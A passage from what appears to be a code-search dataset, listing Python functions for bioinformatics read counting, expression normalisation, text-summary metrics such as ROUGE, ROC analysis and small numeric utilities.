'{}:{}'.format(x[0],x[1]) for x in hits[1] )\n va_genes = util.get_top_genes( tmp['v%s_blast_hits' % ch] ) ## a set\n ja_genes = util.get_top_genes( tmp['j%s_blast_hits' % ch] )\n tmp['v%s_genes' % ch] = ';'.join( sorted( va_genes ) )\n tmp['j%s_genes' % ch] = ';'.join( sorted( ja_genes ) )\n tmp['v%s_reps' % ch] = ';'.join( sorted( util.get_top_reps( tmp['v%s_blast_hits' % ch], organism ) ) )\n tmp['j%s_reps' % ch] = ';'.join( sorted( util.get_top_reps( tmp['j%s_blast_hits' % ch], organism ) ) )\n tmp['v%s_countreps' % ch] = ';'.join( sorted( set( (util.get_mm1_rep_gene_for_counting(x,organism) for x in va_genes ))))\n tmp['j%s_countreps' % ch] = ';'.join( sorted( set( (util.get_mm1_rep_gene_for_counting(x,organism) for x in ja_genes ))))\n\n chain = TCRChain(**tmp)\n return chain","def reader_score():\n reader_ranef_negative, reader_ranef_positive = sigma_r * rng.randn(2)\n error_term = np.sqrt(1 - sigma_c**2) * rng.randn(num_cases)\n reader_score = (mu + delta_mu) * disease\n reader_score += reader_ranef_negative * (1 - disease)\n reader_score += reader_ranef_positive * disease\n reader_score += sigma_c * case_random_effect\n reader_score += error_term\n return reader_score","def b2_precision(system_output, gold_standard, sys_el2kbid, gold_el2kbid):\n el_pre_sums = 0.0\n num_elements = 0\n \n for kb_id in system_output.keys():\n mention_set = system_output[kb_id]\n\n num_elements += len(mention_set)\n \n for el_a in mention_set:\n num_correct = 0\n \n for el_b in mention_set:\n correct = b2_correctness(el_a, el_b, sys_el2kbid, gold_el2kbid)\n if(correct): num_correct +=1\n\n el_pre = num_correct / float(len(mention_set))\n \n el_pre_sums += el_pre\n \n #print \"\\t%s\\t%.2f\" % (el_a, el_pre)\n\n P = el_pre_sums / float(num_elements)\n \n return P","def rdmb(vs, mbs, out_file_base, prms, max_ite=2000):\n\n nei, dnei, fvnei, fv, dnei6mean, dnei6std = get_nei_force(vs, mbs)\n\n dneiN = dnei / dnei6mean\n\n n = len(vs)\n max_nei = len(nei[0])\n\n er = mbs.effective_radius(n)\n\n A, B, C, D, E, F, G = prms\n\n synUmax = 0.23\n synVmax = 0.50\n ucmax = 6.0\n\n dt = 1.0e-2\n\n Du = 0.5\n Dv = 10.0\n\n # RR = 30\n RR = 80\n\n u = np.random.rand(n) * ucmax\n v = np.random.rand(n) * ucmax\n\n rea_u = np.zeros(n)\n rea_v = np.zeros(n)\n syn_u = np.zeros(n)\n syn_v = np.zeros(n)\n\n Ru = Du / (dneiN**2)\n Rv = Dv / (dneiN**2)\n\n Ru[dnei > er] = 0\n Rv[dnei > er] = 0\n\n save_rd_prms(out_file_base+\"_prms.npz\",\n vs, mbs,\n A, B, C, D, E, F, G,\n synUmax, synVmax, ucmax, dt, Du, Dv, RR)\n save_rd_uv(out_file_base+\"_{:05}.npz\".format(0), u, v)\n\n for ite in range(max_ite):\n syn_u = A * u - B * v + C\n syn_v = E * u - F\n\n syn_u[syn_u < 0] = 0\n syn_u[syn_u > synUmax] = synUmax\n syn_v[syn_v < 0] = 0\n syn_v[syn_v > synVmax] = synVmax\n\n rea_u = syn_u - D * u\n rea_v = syn_v - G * v\n\n uu = (Ru * (u[nei] - np.einsum('i,j->ij', u,\n np.ones(max_nei)))).sum(axis=1)\n vv = (Rv * (v[nei] - np.einsum('i,j->ij', v,\n np.ones(max_nei)))).sum(axis=1)\n\n u += (RR * rea_u + uu) * dt\n v += (RR * rea_v + vv) * dt\n\n if ((ite+1) % 500) == 0:\n print(\"[ite: {}]\".format(ite+1))\n\n fname = out_file_base + \"_{:05}.npz\".format(max_ite)\n save_rd_uv(fname, u, v)\n\n return True","def count_reads(in_fastq, in_ref, KEY_INTERVAL=(10,80), DIR='FWD',\r\n KEY='CGAAACACCG', KEY_REV='GTTTTAGA', out_counts='counts.csv',\r\n out_np='np_counts.csv', out_stats='stats.txt'):\r\n\r\n # STEP 1A: OPEN INPUT FILES FOR PROCESSING, CHECK FOR REQUIRED FORMATTING\r\n # look for 'sgRNA_seq' column, raise Exception if missing\r\n df_ref = pd.read_csv(in_ref, header=0) # explicit header = first row\r\n if 'sgRNA_seq' not in df_ref.columns.tolist():\r\n raise Exception('in_ref is missing column: sgRNA_seq')\r\n # look for other cols, raise Warning if suggested cols are missing\r\n list_headcols = ['sgRNA_ID', 'sgRNA_seq', 'Gene', 'cut_site_AA', 'Domain']\r\n if not all(col in df_ref.columns.tolist() for col in list_headcols):\r\n list_miss = [col for col in list_headcols if col not in df_ref.columns.tolist()]\r\n warnings.warn('Warning! in_ref is missing column(s) for downstream functions: ' + str(list_miss))\r\n # try opening input FASTQ, raise Exception if not possible\r\n try:\r\n handle = open(in_fastq)\r\n except:\r\n print('Error! Could not open the FASTQ file: %s' % in_fastq)\r\n return\r\n\r\n # STEP 1B: SET UP VARIABLES FOR SCRIPT\r\n # make dictionary to hold sgRNA counts - sgRNA_seq, count as k,v\r\n dict_perfects = {sgRNA:0 for sgRNA in df_ref['sgRNA_seq']}\r\n list_np = [] # placeholder list for non-perfect matches\r\n num_reads = 0 # total number of reads processed\r\n num_perfect_matches = 0 # count of reads with a perfect match to library\r\n num_np_matches = 0 # count of reads without a perfect match to library\r\n num_nokey = 0 # count of reads where key was not found\r\n KEY_START, KEY_END = KEY_INTERVAL[0], KEY_INTERVAL[1] # set the key interval\r\n\r\n # STEP 2: PROCESS FASTQ FILE READS AND ADD COUNTS TO DICT\r\n readiter = SeqIO.parse(handle, 'fastq') # process reads in fastq file\r\n # find sgRNA using FORWARD direction (default)\r\n if DIR == 'FWD':\r\n for record in readiter: # contains the seq and Qscore etc.\r\n num_reads += 1\r\n read_sequence = str.upper(str(record.seq))\r\n key_region = read_sequence[KEY_START:KEY_END]\r\n key_index = key_region.find(KEY)\r\n if key_index >= 0: # if key found\r\n start_index = key_index + KEY_START + len(KEY)\r\n guide = read_sequence[start_index:(start_index + 20)]\r\n if guide in dict_perfects:\r\n dict_perfects[guide] += 1\r\n num_perfect_matches += 1\r\n else:\r\n num_np_matches += 1\r\n list_np.append(guide)\r\n else:\r\n num_nokey += 1\r\n # find sgRNA using REVERSE direction\r\n elif DIR == 'REV':\r\n for record in readiter: # contains the seq and Qscore etc.\r\n num_reads += 1\r\n read_sequence = str.upper(str(record.seq))\r\n key_region = read_sequence[KEY_START:KEY_END]\r\n key_index = key_region.find(KEY_REV)\r\n if key_index >= 0: # if key found\r\n start_index = key_index + KEY_START\r\n guide = read_sequence[(start_index - 20):(start_index)]\r\n if guide in dict_perfects:\r\n dict_perfects[guide] += 1\r\n num_perfect_matches += 1\r\n else:\r\n num_np_matches += 1\r\n list_np.append(guide)\r\n else:\r\n num_nokey += 1\r\n else:\r\n raise Exception('ERROR! Specified direction is not valid')\r\n handle.close()\r\n\r\n # STEP 3: SORT DICTIONARIES AND GENERATE OUTPUT FILES\r\n # sort perf matches (A-Z) with guides,counts as k,v and output to csv\r\n df_perfects = pd.DataFrame(data=dict_perfects.items(), columns=['sgRNA_seq', 'reads'])\r\n df_perfects.sort_values(by='sgRNA_seq', inplace=True)\r\n df_perfects.to_csv(out_counts, index=False, header=False)\r\n # now sort non-perfect matches by frequency and output to csv\r\n dict_np = Counter(list_np) # use Counter to tally up np matches\r\n df_npmatches = pd.DataFrame(data=dict_np.items(), columns=['sgRNA_seq', 'reads'])\r\n df_npmatches.sort_values(by='reads', ascending=False, inplace=True)\r\n df_npmatches.to_csv(out_np, index=False)\r\n\r\n # STEP 4: CALCULATE STATS AND GENERATE STAT OUTPUT FILE\r\n # percentage of guides that matched perfectly\r\n pct_perfmatch = round(num_perfect_matches/float(num_perfect_matches + num_np_matches) * 100, 1)\r\n # percentage of undetected guides (no read counts)\r\n guides_with_reads = np.count_nonzero(list(dict_perfects.values()))\r\n guides_no_reads = len(dict_perfects) - guides_with_reads\r\n pct_no_reads = round(guides_no_reads/float(len(dict_perfects.values())) * 100, 1)\r\n # skew ratio of top 10% to bottom 10% of guide counts\r\n top_10 = np.percentile(list(dict_perfects.values()), 90)\r\n bottom_10 = np.percentile(list(dict_perfects.values()), 10)\r\n if top_10 != 0 and bottom_10 != 0:\r\n skew_ratio = top_10/bottom_10\r\n else:\r\n skew_ratio = 'Not enough perfect matches to determine skew ratio'\r\n # calculate the read coverage (reads processed / sgRNAs in library)\r\n num_guides = df_ref['sgRNA_seq'].shape[0]\r\n coverage = round(num_reads / num_guides, 1)\r\n # calculate the number of unmapped reads (num_nokey / total_reads)\r\n pct_unmapped = round((num_nokey / num_reads) * 100, 2)\r\n\r\n # write analysis statistics to statfile\r\n with open(out_stats, 'w') as statfile:\r\n statfile.write('Number of reads processed: ' + str(num_reads) + '\\n')\r\n statfile.write('Number of reads where key was not found: ' + str(num_nokey) + '\\n')\r\n statfile.write('Number of perfect guide matches: ' + str(num_perfect_matches) + '\\n')\r\n statfile.write('Number of nonperfect guide matches: ' + str(num_np_matches) + '\\n')\r\n statfile.write('Number of undetected guides: ' + str(guides_no_reads) + '\\n')\r\n statfile.write('Percentage of unmapped reads (key not found): ' + str(pct_unmapped) + '\\n')\r\n statfile.write('Percentage of guides that matched perfectly: ' + str(pct_perfmatch) + '\\n')\r\n statfile.write('Percentage of undetected guides: ' + str(pct_no_reads) + '\\n')\r\n statfile.write('Skew ratio of top 10% to bottom 10%: ' + str(skew_ratio) + '\\n')\r\n statfile.write('Read coverage: ' + str(coverage))\r\n statfile.close()\r\n\r\n print(str(in_fastq) + ' processed')\r\n return","def calc_hypercube_volume(r: float, n: int) -> float:\n return (r * 2) ** n","def load_rd_mb(fnbase, time_point=2000):\n rd_prms = load_rd_prms(fnbase+\"_prms.npz\")\n vs, mbs = rd_prms[0:2]\n A, B, C, D, E, F, G, = rd_prms[2:9]\n synUmax, synVmax, ucmax, dt, Du, Dv, RR = rd_prms[9:]\n ucs, vcs = load_rd_uv(fnbase+\"_{:05}.npz\".format(time_point))\n ucs = ucs / ucmax\n ucs[ucs > 1.0] = 1.0\n\n return vs, ucs, A, C","def large_sum(n, file_name):\n\tnumber_list = []\n\twith open(file_name) as f:\n\t\tcontent = f.readlines()\n\t\tfor row in content:\n\t\t\trow_clean = int(row)\n\t\t\tnumber_list.append(row_clean)\n\ttotal = sum(number_list)\n\treturn total","def calcRs(distances):\n r = {}\n \n for key in distances.keys():\n summedDistances = 0\n for subkey in distances[key].keys():\n summedDistances += distances[key][subkey]\n r[key] = summedDistances/(len(distances.keys())-2)\n\n return r","def ml(milliliters):\n return ul(milliliters*1000)","def dbm_mw(dbm):\n return 1*np.power(10, dbm/10)","def rouge_n(eval_sentences, ref_sentences, n=2):\n f1_scores = []\n for eval_sentence, ref_sentence in zip(eval_sentences, ref_sentences):\n eval_ngrams = _get_ngrams(n, eval_sentence)\n ref_ngrams = _get_ngrams(n, ref_sentence)\n ref_count = len(ref_ngrams)\n eval_count = len(eval_ngrams)\n\n # Count the overlapping ngrams between evaluated and reference\n overlapping_ngrams = eval_ngrams.intersection(ref_ngrams)\n overlapping_count = len(overlapping_ngrams)\n\n # Handle edge case. This isn't mathematically correct, but it's good enough\n if eval_count == 0:\n precision = 0.0\n else:\n precision = float(overlapping_count) / eval_count\n if ref_count == 0:\n recall = 0.0\n else:\n recall = float(overlapping_count) / ref_count\n f1_scores.append(2.0 * ((precision * recall) / (precision + recall + 1e-8)))\n\n # return overlapping_count / reference_count\n return np.mean(f1_scores, dtype=np.float32)","def compute_rouge_n(output, reference, n=1, mode='f'):\n assert mode in list('fpr') # F-1, precision, recall\n match = _n_gram_match(reference, output, n)\n if match == 0:\n score = 0.0\n else:\n precision = match / len(list(make_n_grams(output, n)))\n recall = match / len(list(make_n_grams(reference, n)))\n f_score = 2 * (precision * recall) / (precision + recall)\n if mode == 'p':\n score = precision\n elif mode == 'r':\n score = recall\n else:\n score = f_score\n return score","def get_load_factor(self):\n # Your code here\n return self.total_items / self.capacity","def mem2cachesize(desired_rmem):\n vmem = max(desired_rmem, 50.0)\n Ncache = int(abs(float(vmem) - 35.0) / 0.0157)\n return Ncache","def KB_Dist(P,Q):\r\n \r\n \r\n K=0\r\n Epsilon=0.000001\r\n Q+=Epsilon\r\n P+=Epsilon\r\n for x in range(len(Q)):\r\n K-=P[x]*np.log(Q[x]/P[x])\r\n return K","def get_n_share(contig_paths: List[str]) -> dict:\n\n n_share_dict = {}\n seq_dict = {}\n\n for contig_path in contig_paths:\n with open(contig_path, \"r\") as handle:\n for line in handle.read().splitlines():\n if line.startswith(\">\"):\n key = line.replace(\">\", \"\").split(\" \")[0].split(\".\")[0]\n seq_dict[key] = \"\"\n else:\n seq_dict[key] += line\n\n for key, value in seq_dict.items():\n n_share_dict[key] = value.count(\"N\") / len(value)\n\n return n_share_dict"],"string":"[\n \"def TCMB(rs):\\n\\n return 0.235e-3 * rs\",\n \"def overhead(readings):\\n return 100.0 * (int(readings[0]) + int(readings[1])) / (int(readings[2]) + int(readings[3]))\",\n \"def map_reads_2genes(self, reads_file):\\n start1 = time()\\n read_starts = self.__get_reads_pos(reads_file)\\n start2 = time()\\n times = 0\\n for ref_gene in self.ref_genes:\\n times += 1\\n if times % 500 == 0:\\n print 'calculated %d genes read count ...' % times\\n if len(read_starts[ref_gene.chrom]) == 0:\\n continue\\n starts = read_starts[ref_gene.chrom]\\n for es, ed in zip(ref_gene.exon_starts, ref_gene.exon_ends):\\n # rd = starts[(starts > es) & (starts < ed)].size\\n rd = cal_read_count(es, ed, starts)\\n ref_gene.read_count += rd\\n\\n print 'start calculate rpkm ...'\\n mapped_read_count = self.mapped_read_count\\n for ref_gene in self.ref_genes:\\n # calculate RPKM\\n ref_gene.read_density = \\\\\\n ref_gene.read_count * 1000 * 1000 * 1000. / (ref_gene.mRNA_length * mapped_read_count)\\n print 'got reads time: %f' % (time() - start1)\\n print 'map reads time: %f' % (time() - start2)\",\n \"def num_iters(docs_file):\\n\\n with open(docs_file, 'r') as docs:\\n num_docs = len(docs.readlines())\\n num_iters = num_docs/1000 + 1\\n\\n return num_iters\",\n \"def count_kmers_possible(read, k):\\n num_kmers = {}\\n num_kmers1 = len(read) - k + 1\\n num_kmers2 = 4**k\\n#num_kmers.append(min(num_kmers1,num_kmers2))\\n num_kmers = min(num_kmers1,num_kmers2)\\n num_kmers3 = max(num_kmers,0)\\n return(num_kmers3)\",\n \"def calc_mrr(kb, test_file, delimiter=',', header=None, size=None):\\n with open(test_file) as f:\\n reader = csv.reader(f, delimiter=delimiter)\\n if header:\\n next(reader, None)\\n i = 0\\n test_triples = []\\n for row in reader:\\n pred = cleanse(pred)\\n sub = cleanse(sub)\\n ob = cleanse(ob)\\n if not (sub.replace('_','').isalnum() and ob.replace('_','').isalnum()):\\n continue\\n test_triples.append((sub, pred, ob))\\n mrr = 0\\n print('Test set size: {}'.format(len(test_triples)))\\n if not size:\\n size = len(test_triples)\\n for t in tqdm(test_triples[:size]):\\n # TODO, this is inefficient, not batched.\\n try:\\n ob = t[2]\\n ranks = kb.get_most_likely(t[0], t[1], '?', k=100)\\n ranked_ents = [x['triple'][2] for x in ranks]\\n if ob not in ranked_ents:\\n continue\\n mrr += 1 / (ranked_ents.index(ob) + 1)\\n except:\\n continue\\n return mrr / size\",\n \"def count_total(self):\\n total = 0\\n rpk_total = 0.0\\n with open(self.filename, 'rU') as my_htseq:\\n for line in my_htseq:\\n if '_' not in line:\\n line = line.rstrip('\\\\n').split('\\\\t')\\n ensg_id = line[0]\\n gene_len = len(set(self.gtf.gene_coords[ensg_id])) / 1000.0\\n count = int(line[1])\\n total += count\\n rpk_total += float(count/gene_len)\\n return total, rpk_total\",\n \"def calculate_LC(read):\\n k_values = []\\n for i in range(1,len(read)+1):\\n k_values.append(i)\\n observed_kmers = []\\n for i in k_values:\\n observed_kmers.append((count_kmers_observed(read, i)))\\n possible_kmers = []\\n for i in k_values:\\n possible_kmers.append(count_kmers_possible(read, i))\\n df = pd.DataFrame(list(zip(k_values, observed_kmers, possible_kmers)), columns = ['k','observed kmers','possible kmers'])\\n df.at['Total', 'observed kmers'] = df['observed kmers'].sum()\\n df.at['Total', 'possible kmers'] = df['possible kmers'].sum()\\n x = int(df.at['Total', 'observed kmers'])\\n y = int(df.at['Total', 'possible kmers'])\\n LC = (x/y)\\n return(LC)\",\n \"def sum_reads(self, sample):\\n total_reads = 0.0\\n arts = lims.get_artifacts(samplelimsid = sample.id, process_type = self.process_types)\\n for art in arts:\\n if art.qc_flag == 'PASSED' and '# Reads' in art.udf:\\n total_reads += float(art.udf.get('# Reads'))\\n return total_reads/1000000\",\n \"def exp_calculator_with_count(count_table_file):\\n count_table = pd.read_table(count_table_file, index_col=0)\\n columns = count_table.columns\\n\\n gene_len = count_table[columns[0]]\\n rpkm_dict = dict()\\n tpm_dict = dict()\\n for sample in columns[1:]:\\n # Divide the read counts by the length of each gene in kilobases.\\n # This gives you reads per kilobase (RPK)\\n rpk = count_table[sample]/gene_len\\n # get rpkm/fpkm\\n total_counts = sum(count_table[sample])/1000\\n \\\"\\\"\\\"\\n rpkm = (count_table[sample]/gene_len)/(sum(count_table[sample])/1000)*1000000\\n \\\"\\\"\\\"\\n rpkm = rpk/total_counts*1000000\\n # get tpm\\n norm_gene_len_total_counts = sum(rpk)\\n tpm = rpk/norm_gene_len_total_counts*1000000\\n \\\"\\\"\\\"\\n tpm = (count_table[sample]/gene_len)/sum(count_table[sample]/gene_len)*1000000\\n \\\"\\\"\\\"\\n # save\\n rpkm_dict[sample] = rpkm\\n tpm_dict[sample] = tpm\\n # save results\\n df_rpkm = pd.DataFrame(rpkm_dict, index=count_table.index)\\n df_tpm = pd.DataFrame(tpm_dict, index=count_table.index)\\n df_rpkm.to_csv(count_table_file+'.fpkm.xls', sep='\\\\t')\\n df_tpm.to_csv(count_table_file+'.tpm.xls', sep='\\\\t')\\n #\\n return rpkm_dict, tpm_dict\",\n \"def getRounds(k):\\n\\n if k < 512: # depending on number of bits\\n return 10 # different numebers of MR rounds\\n elif k < 1024: # are recommended, in the official\\n return 7 # US government standard\\n elif k < 1536:\\n return 4\\n else:\\n return 3\",\n \"def CalculateRoc2(dataArray,prefix,readsize,uniquehits,mappedreads,filename):\\r\\n starttime= time.time()\\r\\n uniquehits = float(uniquehits)\\r\\n readsize = float(readsize)\\r\\n \\r\\n \\r\\n entries = len(dataArray)\\r\\n \\r\\n\\r\\n resultmatrix = np.arange(entries*2)\\r\\n resultmatrix = resultmatrix.reshape(2,entries)\\r\\n \\r\\n maxrq = max(x.rq for x in dataArray)\\r\\n maxnm = max(x.nm[0] for x in dataArray)\\r\\n maxGaps= max(x.gaps[0] for x in dataArray)\\r\\n maxMism= max(x.mism[0] for x in dataArray)\\r\\n \\r\\n \\r\\n minrq = min(x.rq for x in dataArray)\\r\\n minnm = min(x.nm[0] for x in dataArray)\\r\\n minmq= min(x.mq[0] for x in dataArray)\\r\\n minGaps= min(x.gaps[0] for x in dataArray) \\r\\n minMism= min(x.mism[0] for x in dataArray) \\r\\n \\r\\n \\r\\n # adjust stepsize for rq since the score behaves the other way\\r\\n quants = [1,2,3,4,5]\\r\\n tempa = maxrq-minrq\\r\\n stepsize = tempa/5\\r\\n \\r\\n rqQuants = [round(minrq+(i-1)*stepsize,3) for i in quants]\\r\\n rqQuants.reverse()\\r\\n rqQuants[-1] =0 # last entry is rounded bigger than the smallest in the dataset\\r\\n \\r\\n nmQuants = [i*maxnm/5 for i in quants]\\r\\n GapsQuants = [i*maxGaps/5 for i in quants]\\r\\n MismQuants = [i*maxMism/5 for i in quants]\\r\\n\\r\\n rocvector = []\\r\\n \\r\\n # i = NM,l = RQ, k = MQ\\r\\n for l in quants: # RQ\\r\\n for k in quants: # GAPS\\r\\n for j in quants: # MISMATCH\\r\\n temparray = [m for m in dataArray if m.gaps[0] <= GapsQuants[k-1] and m.mism[0] <= MismQuants[j-1] and m.rq >=rqQuants[l-1]]\\r\\n \\r\\n\\r\\n tempids = [m.id for m in temparray]\\r\\n uniquereads = {}\\r\\n for i in xrange(0,len(tempids)):\\r\\n uniquereads[tempids[i]] = \\\"\\\"\\r\\n\\r\\n mappedreads = len(uniquereads)\\r\\n \\r\\n \\r\\n \\r\\n templength = len(temparray)\\r\\n \\r\\n if templength == 0:\\r\\n continue\\r\\n else:\\r\\n tempTP = sum(x.mr[0] for x in temparray)\\r\\n tempFP =templength-tempTP\\r\\n F = round((float(mappedreads)/ readsize) ,3)\\r\\n sens = round((tempTP/ uniquehits) * F,3)\\r\\n if tempFP == 0:\\r\\n spec = 0\\r\\n else:\\r\\n spec = round((tempFP / uniquehits) * F,3) \\r\\n \\r\\n rocvector.append([rqQuants[l-1],GapsQuants[k-1],MismQuants[j-1],tempTP,tempFP,templength,sens,spec,F])\\r\\n \\r\\n #print (\\\"%d\\\\t%d\\\\t%d\\\\t\\\" % (templength,tempTP,tempFP))\\r\\n\\r\\n #0 = NM 4 = TP 7 = sens\\r\\n #1 = RQ 5 = FP 8 = 1-spec\\r\\n #2 = GAPS 6 = P 9 = F\\r\\n #append needed for last entry in AUC calculation\\r\\n rocvector.append([0,0,0,0,0,0,0,0,0]) \\r\\n nproc = np.array(rocvector)\\r\\n \\r\\n #write the sens and specificity values from nproc according to the enumeration in line 149. \\r\\n #specificity is in cell -2\\r\\n # sensitivity is in cell -3\\r\\n sens = [i[-3] for i in nproc]\\r\\n spez = [i[-2] for i in nproc]\\r\\n \\r\\n # adjust ROC curve. It is necessary that it the 1-specificity ends in 1.\\r\\n # for the last record copy the predecessor in sens to it\\r\\n # and write 1 to specificity \\r\\n spez[-1] = 1\\r\\n sens[-1] = sens[-2]\\r\\n \\r\\n\\r\\n rocarray1 = np.array([sens,spez])\\r\\n rocarray1 = rocarray1.flatten('F')\\r\\n rocarray1= rocarray1.reshape((len(spez),2))\\r\\n \\r\\n rocarray = np.array([sens,spez])\\r\\n rocarray = rocarray.flatten('F')\\r\\n rocarray = rocarray.reshape((len(spez),2))\\r\\n rocarray = np.sort(rocarray.view('float,float'), order=['f0','f1'], axis=0).view(np.float)\\r\\n \\r\\n rocarrayCorrected = rocarray\\r\\n \\r\\n #print rocarrayCorrected\\r\\n # project points where...\\r\\n for m in range(len(rocarrayCorrected)-2,-1,-1):\\r\\n if (rocarrayCorrected[m,1] >= rocarrayCorrected[m+1,1]):\\r\\n rocarrayCorrected[m,1] = rocarrayCorrected[m+1,1]\\r\\n\\r\\n \\r\\n #print rocarrayCorrected \\r\\n plt.hold(True)\\r\\n plt.figure()\\r\\n plt.subplot(111)\\r\\n #plt.scatter(spez, sens, c='b', marker='o', facecolor='red')\\r\\n #plt.plot(rocarray[:,1], rocarray[:,0]\\r\\n plt.plot(rocarrayCorrected[:,1],rocarrayCorrected[:,0], marker='o', markersize=7,linestyle='--', color='r', label='projected')\\r\\n plt.plot(rocarray1[:,1], rocarray1[:,0], linestyle=\\\"None\\\",label='real',marker='.',color='g')\\r\\n plt.xlabel('1-specificity')\\r\\n plt.ylabel('sensitivity')\\r\\n plt.title(r'ROC:'+filename)\\r\\n plt.axis([-0.1,1.1,-0.1,1.1])\\r\\n plt.grid(True)\\r\\n plt.legend(loc='lower right')\\r\\n plt.tight_layout()\\r\\n plt.savefig(prefix + \\\"_ROC.pdf\\\",format='pdf')\\r\\n plt.clf \\r\\n \\r\\n \\r\\n AUC = trapezoidal_rule(rocarrayCorrected[:,1], rocarrayCorrected[:,0])\\r\\n \\r\\n fobj = open(prefix+\\\"_roctable.txt\\\",\\\"w\\\")\\r\\n fobj.write(\\\"RQ\\\\tGAPS\\\\tMM\\\\tPTP\\\\tFP\\\\tP\\\\tSn\\\\t1-Sp\\\\tF\\\\r\\\\n\\\")\\r\\n for i in xrange(0,len(rocvector),1):\\r\\n temp = [str(k) for k in rocvector[i]]\\r\\n tempstr = \\\"\\\\t\\\".join(temp)\\r\\n fobj.write(tempstr+\\\"\\\\r\\\\n\\\")\\r\\n\\r\\n endtime= time.time()\\r\\n return(round(AUC,3))\",\n \"def _get_m(self, ks: List[int]) -> int:\\n\\n base = 1\\n for c in ks:\\n base = base * c // gcd(base, c)\\n return base\",\n \"def get_contig_rpkms(identifier, path, minscore):\\n \\n print('Parsing file:', path)\\n \\n bamfile = pysam.AlignmentFile(path, \\\"rb\\\")\\n \\n # We can only get secondary alignment reference names, not indices. So we must\\n # make an idof dict to look up the indices.\\n idof = {contig: i for i, contig in enumerate(bamfile.references)}\\n contiglengths = bamfile.lengths\\n halfreads = [0] * len(contiglengths)\\n \\n nhalfreads = 0\\n for segment in filter_segments(bamfile, minscore):\\n nhalfreads += 1\\n \\n # Read w. unmapped mates count twice as they represent a whole read\\n value = 2 if segment.mate_is_unmapped else 1\\n \\n for reference in get_all_references(segment):\\n id = idof[reference]\\n halfreads[id] += value\\n \\n bamfile.close()\\n \\n print('Done parsing file:', path)\\n \\n rpkms = list()\\n \\n # Compensate for having paired reads\\n millionmappedreads = nhalfreads / 2e6\\n \\n for contiglength, nhalfreads in zip(contiglengths, halfreads):\\n kilobases = contiglength / 1000\\n rpkms.append(nhalfreads / (kilobases * millionmappedreads))\\n \\n return identifier, rpkms\",\n \"def calc_intersection_true_data_baselines_data_cnt():\\n# final_sen_scores = linux_base_path + \\\"/final_sen_scores/\\\"\\n final_sen_scores = base_path + \\\"\\\\\\\\final_sen_scores\\\\\\\\\\\"\\n top_k_docs_values = [50]\\n lambda_f = \\\"1\\\"\\n claim_sen_true_relevance_dict = read_pickle(\\\"claim_sen_relevance_dict_\\\"+curr_source)\\n claims_dict = read_pickle(\\\"claim_dict\\\")\\n intersection_count_avg_all_claims =0\\n exclude = set(string.punctuation)\\n \\n for k_val in top_k_docs_values:\\n intersection_count = 0\\n for alpha in range(10,11,1): #change just for test!\\n for beta in range(0,1,1):\\n (alpha_f,beta_f) = turn_to_float([alpha,beta])\\n curr_baseline_final_sen_score_dict = read_pickle(final_sen_scores+\\\"clm_num_key_final_ranked_list_sen_alpha_\\\"+str(alpha_f)+\\\"_beta_\\\"+str(beta_f)+\\\"_top_k_docs_\\\"+str(k_val)+\\\"_lambda_\\\"+str(lambda_f)+\\\"_sorted\\\")\\n for clm in curr_baseline_final_sen_score_dict.keys():\\n curr_clm_baseline_set = set()\\n curr_true_relevance_set = set()\\n for (sen,score) in curr_baseline_final_sen_score_dict[clm]:\\n sen_no_punc = ''.join(ch for ch in sen if ch not in exclude)\\n sen_no_space = sen_no_punc.replace(\\\" \\\",\\\"\\\")\\n curr_clm_baseline_set.add(sen_no_space)\\n for (sen,score) in claim_sen_true_relevance_dict[claims_dict[clm]]:\\n sen_no_punc = ''.join(ch for ch in sen if ch not in exclude)\\n sen_no_space = sen_no_punc.replace(\\\" \\\",\\\"\\\")\\n curr_true_relevance_set.add(sen_no_space) \\n intersection_count += len(curr_clm_baseline_set.intersection(curr_true_relevance_set))\\n intersection_count_avg_all_claims += float(float(intersection_count)/float(110))\\n intersection_count_avg_all_claims = float(float(intersection_count_avg_all_claims)/float(len(curr_baseline_final_sen_score_dict.keys())))\\n print \\\"intersection_count_avg_all_claims:\\\"+str(intersection_count_avg_all_claims)\",\n \"def d50(clones, num_Reads): \\n\\n\\n d50_amount = num_Reads/2\\n read_count=0\\n for i in clones:\\n read_count+=clones[i].num_reads\\n if read_count>=d50_amount:\\n return i/float(len(clones))\",\n \"def cal_pn(grams_set, grams, candidate, reference):\\n count = 0\\n for gram in grams_set:\\n # print(gram)\\n count += count_clip(gram, grams, reference)\\n # calculate log() for p, so '+10**-8' avoid 'p==0'\\n p = count / len(grams) + 10**-8 \\n return p\",\n \"def get_read_length(read_fn, n_read=10000):\\n with GzipFile(read_fn, mode='rb') as f:\\n h = SeqIO.QualityIO.FastqGeneralIterator(f)\\n i = 0\\n l = []\\n while i < n_read:\\n try:\\n t = h.next()\\n l.append(len(t[1]))\\n i += 1\\n except StopIteration:\\n logger.warning(\\\"Requested %d reads but reached the end of the file after %d\\\", n_read, i)\\n return int(np.round(np.mean(l)))\",\n \"def mb_r(self) -> float:\\n # Calculate metric\\n n = self.predicted.size\\n tot = 0.0\\n for i in range(n):\\n tot = tot + np.sum(np.abs(self.predicted - self.true[i]))\\n mae_val = np.sum(np.abs(self.predicted - self.true)) / n\\n mb = 1 - ((n ** 2) * mae_val / tot)\\n\\n return float(mb)\",\n \"def modularity():\\n\\n q = 0.0\\n for idx in range(0, node_count):\\n if _tot[idx] > 0.0:\\n q += (_in[idx] / m - math.pow(_tot[idx] / m, 2))\\n return q\",\n \"def calculate_rms(samples):\\n chunk = pow(abs(samples), 2)\\n return math.sqrt(chunk.mean())\",\n \"def _getKramerStatistic_(seq, n, F):\\n S = 0.0\\n for i in range(n):\\n S += (F(seq[i]) - (2 * i - 1) / (2 * n)) ** 2\\n return 1 / (12 * n) + S\",\n \"def calc_doc_ret_MAP():\\n \\n# docs_norm_scores_dicts_path = linux_base_path+\\\"/docs_norm_scores_dicts\\\"\\n claim_rel_docno_dict = read_pickle(\\\"claim_rel_docno_dict\\\") #key is clm, value is a set of the relevant docno\\n# nDCG_MAP_res = base_path +\\\"\\\\\\\\nDCG_MAP_res\\\\\\\\\\\"\\n# docs_norms_path = base_path+\\\"\\\\\\\\docs_norm_scores_dicts\\\\\\\\\\\"\\n docs_norms_path = linux_base_path+\\\"/docs_norm_scores_dicts/\\\"\\n nDCG_MAP_res = linux_base_path +\\\"/nDCG_MAP_res/\\\"\\n \\n AP_cut_off = 1000\\n k_val = 100\\n p = 10\\n log = open(\\\"calc_doc_avg_nDCG_MAP_log_k_top_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p),\\\"wb\\\")\\n res_file = 